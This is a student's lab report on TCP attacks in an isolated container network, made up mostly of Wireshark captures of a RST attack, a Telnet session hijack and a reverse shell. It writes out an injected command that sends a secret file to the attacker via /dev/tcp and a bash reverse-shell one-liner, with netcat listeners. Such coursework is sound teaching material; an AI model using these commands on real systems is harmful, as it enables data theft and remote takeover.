17	2022-09-21 01:57:45.6185332…	10.0.2.4	10.0.2.6	TCP	68	23 → 33590 [ACK] Seq=3481222215 Ack=535729130 Win=227 Len=0 TSval=460869 TSecr=444110
18	2022-09-21 01:57:45.7483835…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
19	2022-09-21 01:57:45.7484371…	10.0.2.4	10.0.2.6	TCP	68	23 → 33590 [ACK] Seq=3481222215 Ack=535729131 Win=227 Len=0 TSval=460901 TSecr=444142
20	2022-09-21 01:57:45.9582730…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
21	2022-09-21 01:57:45.9583184…	10.0.2.4	10.0.2.6	TCP	68	23 → 33590 [ACK] Seq=3481222215 Ack=535729132 Win=227 Len=0 TSval=460954 TSecr=444195
22	2022-09-21 01:57:46.1252111…	10.0.2.6	10.0.2.4	TELNET	70	Telnet Data ...
23	2022-09-21 01:57:46.1252611…	10.0.2.4	10.0.2.6	TCP	68	23 → 33590 [ACK] Seq=3481222215 Ack=535729134 Win=227 Len=0 TSval=460996 TSecr=444236
24	2022-09-21 01:57:46.1259625…	10.0.2.4	10.0.2.6	TELNET	70	Telnet Data ...
25	2022-09-21 01:57:46.1262862…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729134 Ack=3481222217 Win=229 Len=0 TSval=444237 TSecr=460996
26	2022-09-21 01:57:46.1631255…	10.0.2.4	10.0.2.6	TELNET	134	Telnet Data ...
27	2022-09-21 01:57:46.1643339…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729134 Ack=3481222283 Win=229 Len=0 TSval=444246 TSecr=461005
28	2022-09-21 01:57:46.3868525…	10.0.2.4	10.0.2.6	TELNET	344	Telnet Data ...
29	2022-09-21 01:57:46.3872611…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729134 Ack=3481222559 Win=237 Len=0 TSval=444302 TSecr=461061
30	2022-09-21 01:57:46.5385580…	10.0.2.4	10.0.2.6	TELNET	94	Telnet Data ...
31	2022-09-21 01:57:46.5389869…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729134 Ack=3481222585 Win=237 Len=0 TSval=444340 TSecr=461099
32	2022-09-21 01:57:48.6500470…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
33	2022-09-21 01:57:48.6508216…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
34	2022-09-21 01:57:48.6513419…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729135 Ack=3481222586 Win=237 Len=0 TSval=444868 TSecr=461627
35	2022-09-21 01:57:48.8032763…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
36	2022-09-21 01:57:48.8038545…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
37	2022-09-21 01:57:48.8043494…	10.0.2.4	10.0.2.6	TCP	68	33590 → 23 [ACK] Seq=535729136 Ack=3481222587 Win=237 Len=0 TSval=444906 TSecr=461665

Several TCP RESET packets are sent as can be seen below. This causes the connection between the User and Victim machine to terminate. The subsequent RESET packets all have a sequence number of 0.

58	2022-09-21	02:01:04.4554657…	::1	::1	UDP	64 60610 → 39906 Len=0
59	2022-09-21	02:01:23.7437136…	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
60	2022-09-21	02:01:23.7446698…	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...
61	2022-09-21	02:01:23.7451496…	10.0.2.6	10.0.2.4	TCP	68 33590 → 23 [ACK] Seq=535729139 Ack=3481223000
62	2022-09-21	02:01:23.8028989…	PcsCompu_94:43:70		ARP	62 Who has 10.0.2.6? Tell 10.0.2.5
63	2022-09-21	02:01:23.9311673…	PcsCompu_94:43:70		ARP	62 Who has 10.0.2.4? Tell 10.0.2.5
64	2022-09-21	02:01:23.9312140…	PcsCompu_c6:fa:69		ARP	44 10.0.2.4 is at 08:00:27:c6:fa:69
65	2022-09-21	02:01:23.9656331…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=535729139 Win=8192 Len=0
66	2022-09-21	02:01:24.0999195…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
67	2022-09-21	02:01:24.2310268…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
68	2022-09-21	02:01:24.3399550…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
69	2022-09-21	02:01:24.4619664…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
70	2022-09-21	02:01:24.4783106…	::1	::1	UDP	64 60610 → 39906 Len=0
71	2022-09-21	02:01:24.5875454…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
72	2022-09-21	02:01:24.7073522…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
73	2022-09-21	02:01:24.8027785…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
74	2022-09-21	02:01:24.9030696…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
75	2022-09-21	02:01:25.0247406…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
76	2022-09-21	02:01:25.1301388…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
77	2022-09-21	02:01:25.2692686…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
78	2022-09-21	02:01:25.3702689…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
79	2022-09-21	02:01:25.5274463…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
80	2022-09-21	02:01:25.6537400…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
81	2022-09-21	02:01:25.7667102…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
82	2022-09-21	02:01:25.8705803…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
83	2022-09-21	02:01:25.9849077…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
84	2022-09-21	02:01:26.1123728…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
85	2022-09-21	02:01:26.2277715…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
86	2022-09-21	02:01:26.3468130…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
87	2022-09-21	02:01:26.4646759…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
88	2022-09-21	02:01:26.5693293…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
89	2022-09-21	02:01:26.6680451…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
90	2022-09-21	02:01:26.7919977…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0
91	2022-09-21	02:01:26.9253189…	10.0.2.6	10.0.2.4	TCP	62 33590 → 23 [RST] Seq=0 Win=8192 Len=0

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Task 3 - TCP Session Hijacking

The IP addresses used in Task 3 and Task 4 are as follows-

User 1 → 10.9.0.6 Attacker→ 10.9.0.1

Victim → 10.9.0.5

A telnet connection is established between User and Victim. Once user has telnet into the victim machine, the user creates a secret file 'secret' with the contents being **this is pavan, pes1ug20cs280(SRN).**

```
seed@0111b5a2fa25:~$ cat > secret
this is pavan, pes1ug20cs280
```

The packets captured while doing so are displayed in the output below.

Apply a display filter ... <Ctrl-/> Expression... +

No.	Time	Source	Destination	Protocol	Length	Info
175	2022-09-24 09:31:58.0560473…	10.0.2.6	10.0.2.4	TELNET	Packet length (bytes)	..
176	2022-09-24 09:31:58.0565087…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
177	2022-09-24 09:31:58.0570723…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931660 Ack=111
178	2022-09-24 09:31:58.4246426…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
179	2022-09-24 09:31:58.4250096…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
180	2022-09-24 09:31:58.4256189…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931661 Ack=111
181	2022-09-24 09:31:58.7611314…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
182	2022-09-24 09:31:58.7618185…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
183	2022-09-24 09:31:58.7624051…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931662 Ack=111
184	2022-09-24 09:31:58.9359738…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
185	2022-09-24 09:31:58.9363711…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
186	2022-09-24 09:31:58.9367135…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931663 Ack=111
187	2022-09-24 09:31:59.1637508…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
188	2022-09-24 09:31:59.1645262…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
189	2022-09-24 09:31:59.1650324…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931664 Ack=111
190	2022-09-24 09:31:59.3452348…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
191	2022-09-24 09:31:59.3457658…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
192	2022-09-24 09:31:59.3462542…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931665 Ack=111
193	2022-09-24 09:31:59.6226399…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
194	2022-09-24 09:31:59.6229718…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
195	2022-09-24 09:31:59.6232582…	10.0.2.6	10.0.2.4	TCP	68	38948 → 23 [ACK] Seq=321931666 Ack=111
196	2022-09-24 09:31:59.7784221…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...

The last packet that is exchanged between User and Client is observed on Wireshark and the corresponding sequence number, acknowledgement number, source and destination port are noted and copied into the file called hijack.py.

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Netcat server is opened and hijack.py is executed. The contents of the hijack packet are displayed on the attacker machine as can be seen below.

```
PES1UG20CS280:EVE # nc -l 9090 &
[4] 29
PES1UG20CS280:EVE # python3 hijack.py
version    : BitField  (4 bits)          = 4              (4)
ihl        : BitField  (4 bits)          = None           (None)
tos        : XByteField                  = 0              (0)
len        : ShortField                  = None           (None)
id         : ShortField                  = 1              (1)
flags      : FlagsField  (3 bits)        = <Flag 0 ()>    (<Flag 0 ()>)
frag       : BitField  (13 bits)         = 0              (0)
ttl        : ByteField                   = 64             (64)
proto      : ByteEnumField               = 6              (0)
chksum     : XShortField                 = None           (None)
src        : SourceIPField               = '10.9.0.6'     (None)
dst        : DestIPField                 = '10.9.0.5'     (None)
options    : PacketListField             = []             ([])
--
sport      : ShortEnumField              = 56400          (20)
dport      : ShortEnumField              = 23             (80)
seq        : IntField                    = 3556234964     (0)
ack        : IntField                    = 718523757      (0)
dataofs    : BitField  (4 bits)          = None           (None)
reserved   : BitField  (3 bits)          = 0              (0)
flags      : FlagsField  (9 bits)        = <Flag 16 (A)>  (<Flag 2 (S)>)
window     : ShortField                  = 8192           (8192)
chksum     : XShortField                 = None           (None)
urgptr     : ShortField                  = 0              (0)
options    : TCPOptionsField             = []             (b'')
--
load       : StrField                    = b'\r cat secret > /dev/tcp/10.9.0.1/9090 \r' (b'')
this is pavan, pes1ug20cs280
[2]   Done                    nc -l 9090  (wd: /)
```

When hijack.py is executed, the following retransmission packets are observed on the network. As can be seen below the contents of the secret file stored in 'secret' is being accessed by the pseudo device that opens a TCP connection with the attacker machine on port 9090.

The contents of the attacker file are displayed on screen on the attacker's terminal as can be seen in the screenshot above.

1	2022-09-21 02:1…	02:42:7a:73:7f:37		ARP	44	Who has 10.9.0.5? Tell 10.9.0.1
2	2022-09-21 02:1…	02:42:7a:73:7f:37		ARP	44	Who has 10.9.0.5? Tell 10.9.0.1
3	2022-09-21 02:1…	02:42:7a:73:7f:37		ARP	44	Who has 10.9.0.5? Tell 10.9.0.1
4	2022-09-21 02:1…	02:42:7a:73:7f:37		ARP	44	Who has 10.9.0.5? Tell 10.9.0.1
5	2022-09-21 02:1…	02:42:0a:09:00:05		ARP	44	10.9.0.5 is at 02:42:0a:09:00:05
6	2022-09-21 02:1…	02:42:0a:09:00:05		ARP	44	10.9.0.5 is at 02:42:0a:09:00:05
7	2022-09-21 02:1…	10.9.0.6	10.9.0.5	TELNET	95	Telnet Data ...
8	2022-09-21 02:1…	10.9.0.6	10.9.0.5	TCP	95	[TCP Retransmission] 56400 → 23 [ACK] Seq=3556234964 Ack=7185…
9	2022-09-21 02:1…	10.9.0.5	10.9.0.6	TCP	80	23 → 56400 [ACK] Seq=718523840 Ack=3556235003 Win=509 Len=0 T…
10	2022-09-21 02:1…	10.9.0.5	10.9.0.6	TCP	80	[TCP Dup ACK 9#1] 23 → 56400 [ACK] Seq=718523840 Ack=35562350…
11	2022-09-21 02:1…	02:42:0a:09:00:05		ARP	44	Who has 10.9.0.6? Tell 10.9.0.5
12	2022-09-21 02:1…	02:42:0a:09:00:05		ARP	44	Who has 10.9.0.6? Tell 10.9.0.5
13	2022-09-21 02:1…	02:42:0a:09:00:06		ARP	44	10.9.0.6 is at 02:42:0a:09:00:06
14	2022-09-21 02:1…	02:42:0a:09:00:06		ARP	44	10.9.0.6 is at 02:42:0a:09:00:06
15	2022-09-21 02:1…	10.9.0.5	10.9.0.6	TCP	151	[TCP Retransmission] 23 → 56400 [PSH, ACK] Seq=718523757 Ack=…
16	2022-09-21 02:1…	10.9.0.5	10.9.0.6	TCP	151	[TCP Retransmission] 23 → 56400 [PSH, ACK] Seq=718523757 Ack=…

```
› Frame 7: 95 bytes on wire (760 bits), 95 bytes captured (760 bits) on interface any, id 0
› Linux cooked capture
› Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
› Transmission Control Protocol, Src Port: 56400, Dst Port: 23, Seq: 3556234964, Ack: 718523757, Len: 39
⌄ Telnet
    Data: \r cat secret > /dev/tcp/10.9.0.1/9090 \r
```

The attacker basically hijacks the session and therefore the secret file created by User1 on the Victim machine becomes readily available to the attacker.

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Task 4 - Creating Reverse Shell using TCP Session Hijacking

The command given below creates a shell (reverse shell) and connects one end of the pseudo device to the user and the other to the attacker machine. The standard output displayed on screen is redirected to the attacker's machine in this attack.

```
root@e90d3becb192:/# /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
```

The process of Telnet does not change; hence the capture of such packets has not been shown here again. The interface is updated in the python code and executed. A netcat server is opened on the attacker's side so that the reverse shell can be redirected here.

When the attack is initiated, the user is not able to interact with the shell command after a certain set of ls commands. This can be seen in the screenshot below. User 1 is not able to interact with the remote machine and run commands any further as the attacker has directed the bash shell to the attacker's machine.

```
root@61f9d6224548:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@61f9d6224548:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@61f9d6224548:/# l
```

132	2022-09-21 02:55:38.7830036…	10.0.2.6	10.0.2.4	TELNET	107	[TCP Previous segment not captured] Telnet Data ...
133	2022-09-21 02:55:38.7830584…	10.0.2.4	10.0.2.6	TCP	80	[TCP Window Update] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329160 T…
134	2022-09-21 02:55:38.8470750…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
135	2022-09-21 02:55:38.8471317…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#1] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329176 T…
136	2022-09-21 02:55:38.8931631…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
137	2022-09-21 02:55:38.8933320…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#2] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329188 T…
138	2022-09-21 02:55:38.9336054…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
139	2022-09-21 02:55:38.9336675…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#3] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329198 T…
140	2022-09-21 02:55:38.9798430…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
141	2022-09-21 02:55:38.9798872…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#4] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329209 T…
142	2022-09-21 02:55:39.0338218…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
143	2022-09-21 02:55:39.0338706…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#5] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329223 T…
144	2022-09-21 02:55:39.0927201…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
145	2022-09-21 02:55:39.0927871…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#6] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329238 T…
146	2022-09-21 02:55:39.1492792…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
147	2022-09-21 02:55:39.1493318…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#7] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329252 T…
148	2022-09-21 02:55:39.1913539…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
149	2022-09-21 02:55:39.1914156…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#8] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329262 T…
150	2022-09-21 02:55:39.2491534…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
151	2022-09-21 02:55:39.2492064…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#9] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329277 T…
152	2022-09-21 02:55:39.2940346…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
153	2022-09-21 02:55:39.2940975…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#10] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329288 …
154	2022-09-21 02:55:39.3512614…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
155	2022-09-21 02:55:39.3513915…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#11] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329302 …
156	2022-09-21 02:55:39.3943164…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
157	2022-09-21 02:55:39.3943899…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 128#12] 23 → 33598 [ACK] Seq=1866343674 Ack=544671887 Win=30080 Len=0 TSval=1329313 …
158	2022-09-21 02:55:39.4156652…	10.0.2.6	10.0.2.4	TCP	69	[TCP Retransmission] 33598 → 23 [PSH, ACK] Seq=544671887 Ack=1866343674 Win=31360 Len=1 TSval=131…
159	2022-09-21 02:55:39.4157397…	10.0.2.4	10.0.2.6	TCP	80	23 → 33598 [ACK] Seq=1866343674 Ack=544671888 Win=30080 Len=0 TSval=1329318 TSecr=1312607 SLE=544…
160	2022-09-21 02:55:39.4162776…	10.0.2.4	10.0.2.6	TELNET	81	Telnet Data ...
161	2022-09-21 02:55:39.4165649…	10.0.2.6	10.0.2.4	TCP	68	33598 → 23 [ACK] Seq=544671888 Ack=1866343675 Win=31360 Len=0 TSval=1312607 TSecr=1329319
162	2022-09-21 02:55:39.4550354…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671892 Ack=1866343674 Win=1048576 Len=51
163	2022-09-21 02:55:39.4551050…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 159#1] 23 → 33598 [ACK] Seq=1866343675 Ack=544671888 Win=30080 Len=0 TSval=1329328 T…
164	2022-09-21 02:55:39.5225659…	10.0.2.4	10.0.2.6	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671893 Ack=1866343674 Win=1048576 Len=51
165	2022-09-21 02:55:39.5226266…	10.0.2.4	10.0.2.6	TCP	88	[TCP Window Update] 23 → 33598 [ACK] Seq=1866343675 Ack=544671888 Win=31104 Len=0 TSval=1329345 T…
166	2022-09-21 02:55:39.6034945…	10.0.2.6	10.0.2.4	TCP	107	[TCP Retransmission] 33598 → 23 [ACK] Seq=544671893 Ack=1866343675 Win=1048576 Len=51
167	2022-09-21 02:55:39.6035882…	10.0.2.4	10.0.2.6	TCP	88	[TCP Dup ACK 159#2] 23 → 33598 [ACK] Seq=1866343675 Ack=544671888 Win=31104 Len=0 TSval=1329365 T…

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280
5th Semester E section

When seen on Wireshark, we see several TCP retransmission and Duplicate acknowledgement packets being exchanged as the User is unable to communicate with the shell.

The reverse shell is displayed on the Attacker's machine. Victim machine's telnet connection is displayed on the attacker's terminal. When the ls command is executed, the contents of the victim machine are shown to the attacker. A portion of the output is displayed below-

```
PES1UG20CS280:_EVE # nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 53898
root@e90d3becb192:/# ls
ls
bin
boot
dev
etc
home
```

When the attacker executes the following command, we see the given output on Wireshark.

1848	2022-09-23 04:2…	10.9.0.5	10.9.0.1	TCP	76 [TCP Out-Of-Order] 53898 → 9090 [SYN] Seq=4025608843 Win=6424…
1849	2022-09-23 04:2…	10.9.0.1	10.9.0.5	TCP	76 9090 → 53898 [SYN, ACK] Seq=1067558972 Ack=4025608844 Win=651…
1850	2022-09-23 04:2…	10.9.0.1	10.9.0.5	TCP	76 [TCP Out-Of-Order] 9090 → 53898 [SYN, ACK] Seq=1067558972 Ack…
1851	2022-09-23 04:2…	10.9.0.5	10.9.0.1	TCP	68 53898 → 9090 [ACK] Seq=4025608844 Ack=1067558973 Win=64256 Le…
1852	2022-09-23 04:2…	10.9.0.5	10.9.0.1	TCP	68 [TCP Dup ACK 1851#1] 53898 → 9090 [ACK] Seq=4025608844 Ack=10…
1853	2022-09-23 04:2…	10.9.0.5	10.9.0.1	TCP	89 53898 → 9090 [PSH, ACK] Seq=4025608844 Ack=1067558973 Win=642…
1854	2022-09-23 04:2…	10.9.0.5	10.9.0.1	TCP	89 [TCP Retransmission] 53898 → 9090 [PSH, ACK] Seq=4025608844 A…
1855	2022-09-23 04:2…	10.9.0.1	10.9.0.5	TCP	68 9090 → 53898 [ACK] Seq=1067558973 Ack=4025608865 Win=65152 Le…
1856	2022-09-23 04:2…	10.9.0.1	10.9.0.5	TCP	68 [TCP Dup ACK 1855#1] 9090 → 53898 [ACK] Seq=1067558973 Ack=40…

```
▸ Frame 1848: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface any, id 0
▸ Linux cooked capture
▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.1
▾ Transmission Control Protocol, Src Port: 53898, Dst Port: 9090, Seq: 4025608843, Len: 0
    Source Port: 53898
    Destination Port: 9090
    [Stream index: 11]
    [TCP Segment Len: 0]
    Sequence number: 4025608843
    [Next sequence number: 4025608844]
    Acknowledgment number: 0
    Acknowledgment number (raw): 0
    1010 .... = Header Length: 40 bytes (10)
  ▸ Flags: 0x002 (SYN)
    Window size value: 64240
    [Calculated window size: 64240]
    Checksum: 0x1446 [unverified]
    [Checksum Status: Unverified]
    Urgent pointer: 0
  ▸ Options: (20 bytes), Maximum segment size, SACK permitted, Timestamps, No-Operation (NOP), Window scale
```

The attacker (10.9.0.1) and the victim (10.9.0.5) start communicating with each other and those packets are displayed on screen.

The first packet is a SYN packet, indicating that a connection is established between the attacker and the victim machine, closing/ freezing the previous connection with User1.